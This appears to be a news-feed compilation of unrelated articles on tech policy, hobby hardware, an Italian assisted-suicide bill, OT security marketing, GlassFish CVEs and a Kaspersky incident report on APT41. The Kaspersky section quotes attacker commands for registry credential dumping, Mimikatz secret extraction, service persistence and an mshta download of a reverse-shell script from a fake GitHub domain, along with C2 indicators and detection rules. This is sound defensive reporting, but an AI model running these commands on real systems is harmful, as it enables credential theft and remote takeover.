IT'S MONDAY, AND THIS IS DIGITAL POLITICS. I'm Mark Scott, and I'm slightly regretting taking my summer vacation early now that a lot of you are downing tools for a well-deserved break. Think of me as you all catch up on your summer reading by the beach.

— A new generation of 'age verification' rules aimed at protecting kidsis breaking the long-standing principle that everyone is anonymous online.

— What to expect from the White House's upcoming AI Action plan to be announced on July 23 that will lay out the US federal government's thinking.

— The European Union's next seven-year budget will likely earmark billions of dollars for next-generation technologies and digital rulemaking.

Let's get started:

digitalpolitics.co/newsletter0…

3D printing has simplified the creation of many things, but part of making something is knowing just how much you can rely on it. On the [BubsBuilds] YouTube channel, he built a cheap rotary table and then walked through the process of measuring the error inherent in any rotating system.

Starting with a commercial rotary table, [BubsBuilds] decided he wanted a rotary stage that was both lighter and had provisions for motorized movement. Most of the rotary build is 3D printed, with the large housing and table made from PETG, and the geared hub and worm gear printed on a resin printer. The bearings used to support the worm gear are common skateboard bearings. There is also a commercial thrust bearing and 49 larger 9.5mm ball bearings supporting the rotating tabletop.

More after the break…

There are three different types of runout to be measured on a rotating stage: axial, radial, and angular. Axial runout is fairly straightforward to discern by measuring the vertical variation of the table as it rotates. Radial runout measures how true the rotation is around the center of the table. Angular runout measures how level the table stays throughout its range. Since these two runouts are tied to each other, [BubsBuilds] showed how you can take measurements at two different heights and use trigonometry to obtain both your radial and angular runout. This is a great walkthrough of how to approach measuring and characterizing a system that has multiple variables at play. Be sure to check out some of the other cool rotary tables we’ve featured.

youtube.com/embed/No_XLqeN2oE?…

hackaday.com/2025/07/21/bearin…

Entra ufficialmente nel calendario dei lavori del Consiglio regionale della Valle d’Aosta la proposta di legge regionale “Liberi Subito”, volta a garantire tempi e procedure certe per l’accesso al suicidio medicalmente assistito, nel rispetto dei principi indicati dalla sentenza 242/2019 della Corte costituzionale.

La discussione della proposta figura infatti nel calendario del Consiglio regionale per i lavori dal 22 al 24 luglio, come punto 12 dell’ordine del giorno e confidiamo che il Consiglio affronti il tema con serietà e responsabilità verso i propri cittadini come già fatto dalla Regione Toscana.

Il testo della proposta, depositato nel febbraio 2024 dalle consigliere regionali di opposizione Erika Guichardaz e Chiara Minelli, ha iniziato l’iter di discussione il 3 luglio dello scorso anno. L’approvazione del testo rappresenterebbe un primo passo per regolamentare, nel rispetto dei principi costituzionali e delle competenze regionali, l’accesso al suicidio medicalmente assistito per le persone che si trovano nelle condizioni definite dalla sentenza 242/2019: persone maggiorenni, capaci di autodeterminarsi, affetti da patologie irreversibili e fonte di sofferenze fisiche o psicologiche intollerabili, tenuti in vita da trattamenti di sostegno vitale.

“A quasi sei anni dalla sentenza 242 – dichiara Marco Cappato – non possiamo accettare che i cittadini debbano ancora affrontare ostacoli, attese e arbitri, pur avendo diritto ad accedere legalmente al suicidio assistito. La proposta “Liberi Subito” si muove nel solco tracciato dalla Corte costituzionale nel rispetto delle competenze regionali. Non introduce quindi un nuovo diritto, ma si limita a regolamentare le procedure sanitarie di accertamento delle condizioni di salute della persona che fa richiesta di accesso alla pratica. Auspichiamo che il Consiglio regionale della Valle d’Aosta, al di là delle appartenenze politiche, dia prova di responsabilità e rispetto per la volontà delle persone malate”.

— Approfondimento: le Regioni coinvolte dalle Proposte di legge sul Fine vita —

La sentenza 242/2019 della Corte costituzionale sul caso Cappato/Antoniani, garantisce l’accesso all’aiuto alla morte volontaria, il cosiddetto “suicidio assistito” nel nostro Paese, individuando determinate condizioni per la persona malata che ne faccia richiesta che devono essere verificate dal Servizio Sanitario Nazionale.

Il Servizio Sanitario però non garantisce tempi certi per effettuare le verifiche e rispondere alle persone malate che hanno diritto di porre fine alla propria vita. Per questo motivo, nel rispetto delle competenze regionali, l’Associazione Luca Coscioni ha promosso a livello nazionale la campagna “Liberi Subito” con raccolta firme per proposte di legge regionali che garantiscano il percorso di richiesta di suicidio medicalmente assistito e i controlli necessari in tempi certi, adeguati e definiti.

Per conoscere lo stato dell’arte delle singole iniziative CLICCA QUI

L'articolo In Valle d’Aosta comincia domani la discussione su “Liberi Subito” proviene da Associazione Luca Coscioni.

A cura di Costel Onufrei, Specialized Systems Engineer OT, Fortinet Italy

Oggigiorno è sempre più evidente come le infrastrutture Operational Technology (OT), conseguentemente alla convergenza tra IT e OT e alla loro maggiore complessità, siano in misura crescente esposte a nuovi rischi. Questo porta ad un aumento esponenziale della superficie d’attacco che non guarda più a IT e OT come due mondi separati, ma come un unico singolo bersaglio, aprendo la strada a nuove minacce e vulnerabilità volte a colpire le infrastrutture critiche oltre che il cuore delle realtà industriali, la produzione.

Lo scenario descritto è ulteriormente evidenziato dai dati indicati dal rapporto Clusit 2025, dove il settore manifatturiero ha superato, in termini di attacchi a livello globale, il settore finanziario. Se consideriamo che le infrastrutture OT, per loro stessa natura, sono basate su tecnologie che non possiedono una “security-by-design”, tipicamente obsolete e con poche patch di sicurezza applicate durante il loro prolungato ciclo di vita, si evince come questo contesto sia estremamente critico per la corretta operatività delle organizzazioni che se ne avvalgono.
Costel Onufrei, Specialized Systems Engineer OT, Fortinet Italy
Vista la complessità, da dove si può iniziare? Ponendosi domande concrete su come funziona l’infrastruttura e quali metriche adottare per proteggerla. Analizzando i rischi annessi, si possono individuare le aree che richiedono un intervento più rapido. Tipicamente si parte da alcune domande basilari:

• Come sono interconnesse le macchine di produzione o gli impianti?
• Come sono gestite le reti interne degli impianti produzione?
• Quali dispositivi sono presenti all’interno delle reti OT?
• Hanno delle vulnerabilità conosciute?
• Come sono tracciati gli accessi interni ed esterni alle infrastrutture OT?

In questo contesto diventa fondamentale che le aziende affrontino le sfide della sicurezza OT con un approccio basato su standard internazionali e best practice come NIST o ISA/IEC 62443, mettendo in atto:

Visibilità e controllo delle risorse OT: Grazie all’utilizzo di FortiGate Rugged NGFW e servizi dedicati come FortiGuard OT Security Service, ci avvaliamo di 3.300 regole legate a protocolli OT e 750 regole IPS specifiche per ambienti OT, che consentono di mappare in tempo reale l’infrastruttura OT. Il servizio distingue dispositivi legittimi da quelli non autorizzati, offrendo anche oltre 1.500 regole di virtual patching per la protezione dei sistemi legacy da attacchi già riconosciuti e classificati, intercettando e bloccando exploit noti (KEV – Known Exploited Vulnerabilities) prima che raggiungano i dispositivi vulnerabili, proteggendo efficacemente anche i sistemi OT non aggiornabili.

Segmentazione e contenimento: Per ridurre il rischio di intrusioni è richiesto un ambiente OT con controlli di accesso rigorosi tramite policy di rete in tutti i punti di accesso; questo approccio inizia con la creazione di zone e conduits di rete, attuabili con FortiGate Rugged NGFW per il traffico di rete verticale, e ulteriormente ampliabile con FortiSwitch Rugged, consentendo una segmentazione di rete avanzata a livello di porta. Questi switch “rugged”, integrati nativamente con FortiOS, permettono di isolare logicamente linee produttive, accessi remoti e reti IT/OT, contrastando movimenti laterali non autorizzati e semplificando la gestione della sicurezza.

Accesso da remoto sicuro: Permettere a operatori remoti di accedere alle reti OT può essere estremamente vantaggioso in termini di riduzione dei tempi di fermo e rapidità d’intervento, bisogna però implementare soluzioni di accesso da remoto che abbiano funzioni di sicurezza integrate: FortiPAM, FortiSRA (ora aggiornato con nuove funzionalità di gestione delle credenziali e dei segreti per ambienti OT), insieme a FortiClient e FortiToken, integrabili grazie alla Fortinet Security Fabric, ci aiutano a mettere le basi per un accesso remoto protetto, controllato e tracciabile anche in scenari distribuiti o estremamente sensibili.

Integrazione e orchestrazione: La Fortinet OT Security Platform si integra nella Fortinet Security Fabric per consentire facilmente la convergenza e la connettività delle IT/OT. Questo aiuta ad aumentare la visibilità e la risposta in tempo reale sull’intera superficie di attacco e consente ai team Security Operations Center (SOC) di diventare più efficienti ed efficaci nei tempi di risposta in fabbriche, impianti, sedi remote.

Una best practice che ha effetti positivi: il rapporto Fortinet
Il Global 2025 State of Operational Technology and Cybersecurity Report di Fortinet evidenzia una riduzione rilevante del numero di vendor di dispositivi OT, indicatore di maggiore maturità ed efficienza operativa. Oggi, il 78% delle organizzazioni utilizza solo da uno a quattro fornitori OT, a dimostrazione di un processo di consolidamento.

Il consolidamento dei vendor di cybersecurity è sintomo di maturità, coerente con quanto osservato tra i clienti Fortinet che adottano la piattaforma Fortinet OT Security. L’unificazione di rete e sicurezza nei siti OT remoti ha migliorato la visibilità e ridotto i rischi cyber, portando a una riduzione del 93% degli incidenti rispetto a una rete piatta. Le soluzioni semplificate di Fortinet, inoltre, hanno consentito un miglioramento delle performance pari a 7 volte, grazie alla riduzione dei tempi di triage e configurazione.

È fondamentale proseguire in questa direzione: la protezione degli ambienti industriali non è più una questione tecnica, ma un tema di business continuity, reputazione e competitività.

Per saperne di più sullo stato della sicurezza OT nel 2025, leggi il rapporto completo di Fortinet.

L'articolo OT Cybersecurity: non solo una questione di Direttive e di Regolamenti proviene da il blog della sicurezza informatica.

Introduction

Some time ago, Kaspersky MDR analysts detected a targeted attack against government IT services in the African region. The attackers used hardcoded names of internal services, IP addresses, and proxy servers embedded within their malware. One of the C2s was a captive SharePoint server within the victim’s infrastructure.

During our incident analysis, we were able to determine that the threat actor behind the activity was APT41. This is a Chinese-speaking cyberespionage group known for targeting organizations across multiple sectors, including telecom and energy providers, educational institutions, healthcare organizations and IT energy companies in at least 42 countries. It’s worth noting that, prior to the incident, Africa had experienced the least activity from this APT.

Incident investigation and toolkit analysis

Detection

Our MDR team identified suspicious activity on several workstations within an organization’s infrastructure. These were typical alerts indicating the use of the WmiExec module from the Impacket toolkit. Specifically, the alerts showed the following signs of the activity:

• A process chain of svchost.exe ➔exe ➔ cmd.exe
• The output of executed commands being written to a file on an administrative network share, with the file name consisting of numbers separated by dots:

WmiExec process tree

The attackers also leveraged the Atexec module from the Impacket toolkit.

Scheduler tasks created by Atexec

The attackers used these commands to check the availability of their C2 server, both directly over the internet and through an internal proxy server within the organization.

The source of the suspicious activity turned out to be an unmonitored host that had been compromised. Impacket was executed on it in the context of a service account. We would later get that host connected to our telemetry to pinpoint the source of the infection.

After the Atexec and WmiExec modules finished running, the attackers temporarily suspended their operations.

Privilege escalation and lateral movement

After a brief lull, the attackers sprang back into action. This time, they were probing for running processes and occupied ports:
cmd.exe /c netstat -ano > C:\Windows\temp\temp_log.log
cmd.exe /c tasklist /v > C:\Windows\temp\temp_log.log
They were likely trying to figure out if the target hosts had any security solutions installed, such as EDR, MDR or XDR agents, host administration tools, and so on.

Additionally, the attackers used the built-in reg.exe utility to dump the SYSTEM and SAM registry hives.
cmd.exe /c reg save HKLM\SAM C:\Windows\temp\temp_3.log
cmd.exe /c reg save HKLM\SYSTEM C:\Windows\temp\temp_4.log
On workstations connected to our monitoring systems, our security solution blocked the activity, which resulted in an empty dump file. However, some hosts within the organization were not secured. As a result, the attackers successfully harvested credentials from critical registry hives and leveraged them in their subsequent attacks. This underscores a crucial point: to detect incidents promptly and minimize damage, security solution agents must be installed on all workstations across the organization without exception. Furthermore, the more comprehensive your telemetry data, the more effective your response will be. It’s also crucial to keep a close eye on the permissions assigned to service and user accounts, making sure no one ends up with more access rights than they really need. This is especially true for accounts that exist across multiple hosts in your infrastructure.

In the incident we’re describing here, two domain accounts obtained from a registry dump were leveraged for lateral movement: a domain account with local administrator rights on all workstations, and a backup solution account with domain administrator privileges. The local administrator privileges allowed the attackers to use the SMB protocol to transfer tools for communicating with the C2 to the administrative network share C$. We will discuss these tools – namely Cobalt Strike and a custom agent – in the next section.

In most cases, the attackers placed their malicious tools in the C:\WINDOWS\TASKS\ directory on target hosts, but they used other paths too:
c:\windows\tasks\
c:\programdata\
c:\programdata\usoshared\
c:\users\public\downloads\
c:\users\public\
c:\windows\help\help\
c:\users\public\videos\
Files from these directories were then executed remotely using the WMI toolkit:

Lateral movement via privileged accounts

C2 communication

Cobalt Strike

The attackers used Cobalt Strike for C2 communication on compromised hosts. They distributed the tool as an encrypted file, typically with a TXT or INI extension. To decrypt it, they employed a malicious library injected into a legitimate application via DLL sideloading.

Here’s a general overview of how Cobalt Strike was launched:

Attackers placed all the required files – the legitimate application, the malicious DLL, and the payload file – in one of the following directories:
C:\Users\Public\
C:\Users\{redacted}\Downloads\
C:\Windows\Tasks\
The malicious library was a legitimate DLL modified to search for an encrypted Cobalt Strike payload in a specifically named file located in the same directory. Consequently, the names of the payload files varied depending on what was hardcoded into the malicious DLL.

During the attack, the threat actor used the following versions of modified DLLs and their corresponding payloads:

Despite using various legitimate applications to launch Cobalt Strike, the payload decryption process was similar across instances. Let’s take a closer look at one example of Cobalt Strike execution, using the legitimate file cookie_exporter.exe, which is part of Microsoft Edge. When launched, this application loads msedge.dll, assuming it’s in the same directory.

The attackers renamed cookie_exporter.exe to Edge.exe and replaced msedge.dll with their own malicious library of the same name.

When any dynamic library is loaded, the DllEntryPoint function is executed first. In the modified DLL, this function included a check for a debugging environment. Additionally, upon its initial execution, the library verified the language packs installed on the host.. The malicious code would not run if it detected any of the following language packs:

• Japanese (Japan)
• Korean (South Korea)
• Chinese (Mainland China)
• Chinese (Taiwan)

If the system passes the checks, the application that loaded the malicious library executes an exported DLL function containing the malicious code. Because different applications were used to launch the library in different cases, the exported functions vary depending on what the specific software calls. For example, with msedge.dll, the malicious code was implemented in the ShowMessageWithString function, called by cookie_exporter.exe.

The ShowMessageWithString function retrieves its payload from Logs.txt, a file located in the same directory. These filenames are typically hardcoded in the malicious dynamic link libraries we’ve observed.

The screenshot below shows a disassembled code segment responsible for loading the encrypted file. It clearly reveals the path where the application expects to find the file.

The payload is decrypted by repeatedly executing the following instructions using 128-bit SSE registers:

Once the payload is decrypted, the malicious executable code from msedge.dll launches it by using a standard method: it allocates a virtual memory region within its own process, then copies the code there and executes it by creating a new thread. In other versions of similarly distributed Cobalt Strike agents that we examined, the malicious code could also be launched by creating a new process or upon being injected into the memory of another running process.

Beyond the functionality described above, we also found a code segment within the malicious libraries that appeared to be a message to the analyst. These strings are supposed to be displayed if the DLL finds itself running in a debugger, but in practice this doesn’t occur.

Once Cobalt Strike successfully launches, the implant connects to its C2 server. Threat actors then establish persistence on the compromised host by creating a service with a command similar to this:
C:\Windows\system32\cmd.exe /C sc create "server power" binpath= "cmd /c start C:\Windows\tasks\Edge.exe" && sc description "server power" "description" && sc config "server power" start= auto && net start "server power"
Attackers often use the following service names for embedding Cobalt Strike:
server power
WindowsUpdats
7-zip Update

Agent

During our investigation, we uncovered a compromised SharePoint server that the attackers were using as the C2. They distributed files named agents.exe and agentx.exe via the SMB protocol to communicate with the server. Each of these files is actually a C# Trojan whose primary function is to execute commands it receives from a web shell named CommandHandler.aspx, which is installed on the SharePoint server. The attackers uploaded multiple versions of these agents to victim hosts. All versions had similar functionality and used a hardcoded URL to retrieve commands:

The agents executed commands from CommandHandler.aspx using the cmd.exe command shell launched with the /c flag.

While analyzing the agents, we didn’t find significant diversity in their core functionality, despite the attackers constantly modifying the files. Most changes were minor, primarily aimed at evading detection. Outdated file versions were removed from the compromised hosts.

The attackers used the deployed agents to conduct reconnaissance and collect sensitive data, such as browser history, text files, configuration files, and documents with .doc, .docx and .xlsx extensions. They exfiltrated the data back to the SharePoint server via the upload.ashx web shell.

It is worth noting that the attackers made some interesting mistakes while implementing the mechanism for communicating with the SharePoint server. Specifically, if the CommandHandler.aspx web shell on the server was unavailable, the agent would attempt to execute the web page’s error message as a command:

Obtaining a command shell: reverse shell via an HTA file

If, after their initial reconnaissance, the attackers deemed an infected host valuable for further operations, they’d try to establish an alternative command-shell access. To do this, they executed the following command to download from an external resource a malicious HTA file containing an embedded JavaScript script and run this file:
"cmd.exe" /c mshta hxxp[:]//github.githubassets[.]net/okaqbfk867hmx2tvqxhc8zyq9fy694gf/hta
The group attempted to mask their malicious activity by using resources that mimicked legitimate ones to download the HTA file. Specifically, the command above reached out to the GitHub-impersonating domain github[.]githubassets[.]net. The attackers primarily used the site to host JavaScript code. These scripts were responsible for delivering either the next stage of their malware or the tools needed to further the attack.

At the time of our investigation, a harmless script was being downloaded from github[.]githubassets[.]net instead of a malicious one. This was likely done to hide the activity and complicate attack analysis.

The harmless script found on github[.]githubassets[.]net

However, we were able to obtain and analyze previously distributed scripts, specifically the malicious file 2CD15977B72D5D74FADEDFDE2CE8934F. Its primary purpose is to create a reverse shell on the host, giving the attackers a shell for executing their commands.
Once launched, the script gathers initial host information:

It then connects to the C2 server, also located at github[.]githubassets[.]net, and transmits a unique ATTACK_ID along with the initially collected data. The script leverages various connection methods, such as WebSockets, AJAX, and Flash. The choice depends on the capabilities available in the browser or execution environment.

Data collection

Next, the attackers utilized automation tools such as stealers and credential-harvesting utilities to collect sensitive data. We detail these tools below. Data gathered by these utilities was also exfiltrated via the compromised SharePoint server. In addition to the aforementioned web shell, the SMB protocol was used to upload data to the server. The files were transferred to a network share on the SharePoint server.

Pillager

A modified version of the Pillager utility stands out among the tools the attackers deployed on hosts to gather sensitive information. This tool is used to export and decrypt data from the target computer. The original Pillager version is publicly available in a repository, accompanied by a description in Chinese.

The primary types of data collected by this utility include:

• Saved credentials from browsers, databases, and administrative utilities like MobaXterm
• Project source code
• Screenshots
• Active chat sessions and data
• Email messages
• Active SSH and FTP sessions
• A list of software installed on the host
• Output of the systeminfo and tasklist commands
• Credentials stored and used by the operating system, and Wi-Fi network credentials
• Account information from chat apps, email clients, and other software

A sample of data collected by Pillager:

The utility is typically an executable (EXE) file. However, the attackers rewrote the stealer’s code and compiled it into a DLL named wmicodegen.dll. This code then runs on the host via DLL sideloading. They chose convert-moftoprovider.exe, an executable from the Microsoft SDK toolkit, as their victim application. It is normally used for generating code from Managed Object Format (MOF) files.

Despite modifying the code, the group didn’t change the stealer’s default output file name and path: C:\Windows\Temp\Pillager.zip.

It’s worth noting that the malicious library they used was based on the legitimate SimpleHD.dll HDR rendering library from the Xbox Development Kit. The source code for this library is available on GitHub. This code was modified so that convert-moftoprovider.exe loaded an exported function, which implemented the Pillager code.

Interestingly, the path to the PDB file, while appearing legitimate, differs by using PS5 instead of XBOX:

Checkout

The second stealer the attackers employed was Checkout. In addition to saved credentials and browser history, it also steals information about downloaded files and credit card data saved in the browser.

When launching the stealer, the attackers pass it a j8 parameter; without it, the stealer won’t run. The malware collects data into CSV files, which it then archives and saves as CheckOutData.zip in a specially created directory named CheckOut.

Data collection and archiving in Checkout

Checkout launch diagram in Kaspersky Threat Intelligence Platform

RawCopy

Beyond standard methods for gathering registry dumps, such as using reg.exe, the attackers leveraged the publicly available utility RawCopy (MD5 hash: 0x15D52149536526CE75302897EAF74694) to copy raw registry files.

RawCopy is a command-line application that copies files from NTFS volumes using a low-level disk reading method.

The following commands were used to collect registry files:
c:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\system /OutputPath:c:\users\public\downloads
c:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\sam /OutputPath:c:\users\public\downloads
c:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\security /OutputPath:c:\users\public\downloads

Mimikatz

The attackers also used Mimikatz to dump account credentials. Like the Pillager stealer, Mimikatz was rewritten and compiled into a DLL. This DLL was then loaded by the legitimate java.exe file (used for compiling Java code) via DLL sideloading. The following files were involved in launching Mimikatz:
C:\Windows\Temp\123.bat
C:\Windows\Temp\jli.dll
C:\Windows\Temp\java.exe
С:\Windows\Temp\config.ini
123.bat is a BAT script containing commands to launch the legitimate java.exe executable, which in turn loads the dynamic link library for DLL sideloading. This DLL then decrypts and executes the Mimikatz configuration file, config.ini, which is distributed from a previously compromised host within the infrastructure.
java.exe privilege::debug token::elevate lsadump::secrets exit

Retrospective threat hunting

As already mentioned, the victim organization’s monitoring coverage was initially patchy. Because of this, in the early stages, we only saw the external IP address of the initial source and couldn’t detect what was happening on that host. After some time, the host was finally connected to our monitoring systems, and we found that it was an IIS web server. Furthermore, despite the lost time, it still contained artifacts of the attack.

These included the aforementioned Cobalt Strike implant located in c:\programdata\, along with a scheduler task for establishing persistence on the system. Additionally, a web shell remained on the host, which our solutions detected as HEUR:Backdoor.MSIL.WebShell.gen. This was found in the standard temporary directory for compiled ASP.NET application files:
c:\windows\microsoft.net\framework64\v4.0.30319\temporary asp.net files\root\dedc22b8\49ac6571\app_web_hdmuushc.dll
MD5: 0x70ECD788D47076C710BF19EA90AB000D
These temporary files are automatically generated and contain the ASPX page code:

The web shell was named newfile.aspx. The screenshot above shows its function names. Based on these names, we were able to determine that this instance utilized a Neo-reGeorg web shell tunnel.

This tool is used to proxy traffic from an external network to an internal one via an externally accessible web server. Thus, the launch of the Impacket tools, which we initially believed was originating from a host unidentified at the time (the IIS server), was in fact coming from the external network through this tunnel.

Attribution

We attribute this attack to APT41 with a high degree of confidence, based on the similarities in the TTPs, tooling, and C2 infrastructure with other APT41 campaigns. In particular:

• The attackers used a number of tools characteristic of APT41, such as Impacket, WMI, and Cobalt Strike.
• The attackers employed DLL sideloading techniques.
• During the attack, various files were saved to C:\Windows\Temp.
• The C2 domain names identified in this incident (s3-azure.com, *.ns1.s3-azure.com, *.ns2.s3-azure.com) are similar to domain names previously observed in APT41 attacks (us2[.]s3bucket-azure[.]online, status[.]s3cloud-azure[.]com).

Takeaways and lessons learned

The attackers wield a wide array of both custom-built and publicly available tools. Specifically, they use penetration testing tools like Cobalt Strike at various stages of an attack. The attackers are quick to adapt to their target’s infrastructure, updating their malicious tools to account for specific characteristics. They can even leverage internal services for C2 communication and data exfiltration. The files discovered during the investigation indicate that the malicious actor modifies its techniques during an attack to conceal its activities – for example, by rewriting executables and compiling them as DLLs for DLL sideloading.

While this story ended relatively well – we ultimately managed to evict the attackers from the target organization’s systems – it’s impossible to counter such sophisticated attacks without a comprehensive knowledge base and continuous monitoring of the entire infrastructure. For example, in the incident at hand, some assets weren’t connected to monitoring systems, which prevented us from seeing the full picture immediately. It’s also crucial to maintain maximum coverage of your infrastructure with security tools that can automatically block malicious activity in the initial stages. Finally, we strongly advise against granting excessive privileges to accounts, and especially against using such accounts on all hosts across the infrastructure.

Appendix

Rules

Yara

rule neoregeorg_aspx_web_shell
{
meta:
description = "Rule to detect neo-regeorg based ASPX web-shells"
author = "Kaspersky"
copyright = "Kaspersky"
distribution = "DISTRIBUTION IS FORBIDDEN. DO NOT UPLOAD TO ANY MULTISCANNER OR SHARE ON ANY THREAT INTEL PLATFORM"

strings:
$func1 = "FrameworkInitialize" fullword
$func2 = "GetTypeHashCode" fullword
$func3 = "ProcessRequest" fullword
$func4 = "__BuildControlTree"
$func5 = "__Render__control1"

$str1 = "FAIL" nocase wide
$str2 = "Port close" nocase wide
$str3 = "Port filtered" nocase wide
$str4 = "DISCONNECT" nocase wide
$str5 = "FORWARD" nocase wide

condition:
uint16(0) == 0x5A4D and
filesize < 400000 and
3 of ($func*) and
3 of ($str*)
}

Sigma

title: Service Image Path Start From CMD
id: faf1e809-0067-4c6f-9bef-2471bd6d6278
status: test
description: Detects creation of unusual service executable starting from cmd /c using command line
references:
- tbd
tags:
- attack.persistence
- attack.T1543.003
author: Kaspersky
date: 2025/05/15
logsource:
product: windows
service: security
detection:
selection:
EventID: 4697
ServiceFileName|contains:
- '%COMSPEC%'
- 'cmd'
- 'cmd.exe'
ServiceFileName|contains|all:
- '/c'
- 'start'
condition: selection
falsepositives:
- Legitimate
level: medium

IOCs

Files

2F9D2D8C4F2C50CC4D2E156B9985E7CA
9B4F0F94133650B19474AF6B5709E773
A052536E671C513221F788DE2E62316C
91D10C25497CADB7249D47AE8EC94766
C3ED337E2891736DB6334A5F1D37DC0F
9B00B6F93B70F09D8B35FA9A22B3CBA1
15097A32B515D10AD6D793D2D820F2A8
A236DCE873845BA4D3CCD8D5A4E1AEFD
740D6EB97329944D82317849F9BBD633
C7188C39B5C53ECBD3AEC77A856DDF0C
3AF014DB9BE1A04E8B312B55D4479F69
4708A2AE3A5F008C87E68ED04A081F18
125B257520D16D759B112399C3CD1466
C149252A0A3B1F5724FD76F704A1E0AF
3021C9BCA4EF3AA672461ECADC4718E6
F1025FCAD036AAD8BF124DF8C9650BBC
100B463EFF8295BA617D3AD6DF5325C6
2CD15977B72D5D74FADEDFDE2CE8934F
9D53A0336ACFB9E4DF11162CCF7383A0
27F506B198E7F5530C649B6E4860C958

Domains and IPs

47.238.184[.]9
38.175.195[.]13
hxxp://github[.]githubassets[.]net/okaqbfk867hmx2tvqxhc8zyq9fy694gf/hta
hxxp://chyedweeyaxkavyccenwjvqrsgvyj0o1y.oast[.]fun/aaa
hxxp://toun[.]callback.red/aaa
hxxp://asd.xkx3[.]callback.[]red
hxxp[:]//ap-northeast-1.s3-azure[.]com
hxxps[:]//www[.]msn-microsoft[.]org:2053
hxxp[:]//www.upload-microsoft[.]com
s3-azure.com
*.ns1.s3-azure.com
*.ns2.s3-azure.com
upload-microsoft[.]com
msn-microsoft[.]org

MITRE ATT&CK

securelist.com/apt41-in-africa…

The mainboard of the mini arcade unit with its blob chip and EEPROM. (Credit: Poking Technology, YouTube)
For some reason, people are really into tiny arcade machines that basically require you to ruin your hands and eyes in order to play on them. That said, unlike the fifty gazillion ‘retro consoles’ that you can buy everywhere, the particular mini arcade machine that [David Given] of [Poking Technology] obtained from AliExpress for a teardown and ROM dump seems to have custom games rather than the typical gaggle of NES games and fifty ROM hack variations of each.

After a bit of gameplay to demonstrate the various games on the very tiny machine with tiny controls and a tiny 1.8″, 160×128 ST7735 LC display, the device was disassembled. Inside is a fairly decent speaker, the IO board for the controls, and the mainboard with an epoxy blob-covered chip and the SPI EEPROM containing the software. Dumping this XOR ‘encrypted’ ROM was straightforward, revealing it to be a 4 MB, W23X32-compatible EEPROM.

More after the break…

Further reverse-engineering showed the CPU to be a WDT65C02-compatible chip, running at 8 MHz with 2 kB of SRAM and 8 kB of fast ROM in addition to a 24 MHz link to the SPI EEPROM, which is used heavily during rendering. [David] created a basic SDK for those who feel like writing their own software for this mini arcade system. Considering the market that these mini arcade systems exist in, you’ve got to give the manufacturer credit for creating a somewhat original take, with hardware that is relatively easy to mod and reprogram.

Thanks to [Clint Jay] for the tip.

youtube.com/embed/jJ0XmZvR4bU?…

hackaday.com/2025/07/21/revers…

Giovedì 16 luglio è stata una giornata significativa per i ricercatori di sicurezza informatica del team italiano Red Team Research (RTR) di TIM, che ha visto pubblicate cinque nuove vulnerabilità (CVE) da loro scoperte nel progetto Eclipse GlassFish, una delle quali è stata valutata con un punteggio di 9.8.

Il Red Team Research di TIM è gruppo di ricerca attivo dall 2019, specializzato nell’attività di bug hunting, e ha pubblicato fino ad oggi oltre 170 CVE. Il team opera nel pieno rispetto dei principi della Coordinated Vulnerability Disclosure (CVD): una pratica etica che prevede la segnalazione confidenziale delle vulnerabilità ai produttori, permettendo loro di sviluppare e rilasciare patch correttive prima della pubblicazione ufficiale.

Una volta che la patch è disponibile, con il consenso del vendor, le vulnerabilità vengono pubblicate dal Red Team Research sul National Vulnerability Database (NVD) degli Stati Uniti, o dal vendor stesso se abilitato come CNA (CVE Numbering Authority)

Eclipse GlassFish: un progetto open-source centrale per Java EE

Eclipse GlassFish è un progetto open-source utilizzato sia per lo sviluppo che per il deploy di applicazioni Java EE (oggi Jakarta EE) a livello enterprise. Originariamente sviluppato da Oracle e noto come Oracle GlassFish fino al 2017, quando Oracle ha donato il codice sorgente a Eclipse Foundation. A partire da quel momento, il progetto GlassFish è stato preso in carico da Eclipse Foundantion e ad oggi supportato con la collaborazione di realtà come Payara, Fujitsu e OmniFish.

La migrazione ha rappresentato un’enorme sfida ingegneristica e legale, con il passaggio da Oracle a Eclipse Foundation di oltre 5,5 milioni di righe di codice e oltre 61.000 file. Il codice, storicamente riservato e proprietario, è stato reso pubblico, dando la possibilità di accedervi e conoscere i test svolti. Come si legge in un comunicato stampa dell’epoca, lo sforzo di migrazione è iniziato con EclipseLink e Yasson, che erano già presso la Eclipse Foundation. I primi progetti trasferiti da Oracle GitHub sono stati JSONP, JMS, WebSocket e OpenMQ, lavoro terminato nel gennaio 2018. Il repository GlassFish e i repository CTS/TCK sono stati trasferiti nel settembre 2018.

Le vulnerabilità scoperte

Di seguito l’elenco delle CVE emesse:

Nel dettaglio, la vulnerabilità identificata e classificata con il codice CVE-2024-9342, è stata rilevata sulla versione 7.0.16 (e precedenti)del prodotto Eclipse GlassFish e valutata 9.8 Critical nella scala CVSSv3 (da 1 a 10).

In particolare, è stato possibile eseguire attacchi di Login Brute Force su due specifici URL del prodotto. Questa vulnerabilità si verifica quando il prodotto non implementa misure sufficienti per prevenire più tentativi di autenticazione falliti in un breve lasso di tempo, rendendolo più suscettibile agli attacchi brute force. La gravità di questo tipo di attacchi è che non prevede prerequisiti; pertanto, è particolarmente pericolo se l’istanza GlassFish è esposta su internet.

L’impatto rilevato dalle analisi del Red Team Research è che un attaccante può sfruttare questa vulnerabilità per ottenere accesso con privilegi amministrativi alla Administration Console o Management REST Interface del server.

Uno sguardo al laboratorio Red Team Research di TIM

Si tratta di uno tra i pochi centri italiani di ricerca sui bug di sicurezza, dove da diverso tempo vengono effettuate attività che mirano all’identificazione di vulnerabilità non documentate (0day). Le attività condotte dal team, portano ad una successiva emissione di CVE sul National Vulnerability Database (NVD) degli Stati Uniti D’America, terminato il percorso di Coordinated Vulnerability Disclosure (CVD) con il vendor del prodotto.

Nel corso di 5 anni di attività, abbiamo visto il laboratorio, emettere moltissime CVE su prodotti best-in-class e big vendor di valenza internazionale, come ad esempio Oracle, IBM, Fortinet, F5, Ericsson, Red Hat, Nokia, Computer Associates, Siemens, F5, Fortinet, QNAP, Johnson & Control, Schneider Electric, oltre ad altri fornitori su tipologie differenti di architetture software/hardware.

Nel corso del tempo, il laboratorio ha emesso 170 CVE circa, dove 14 risultano con severità Critical (>= 9.0 di score CVSSv3).

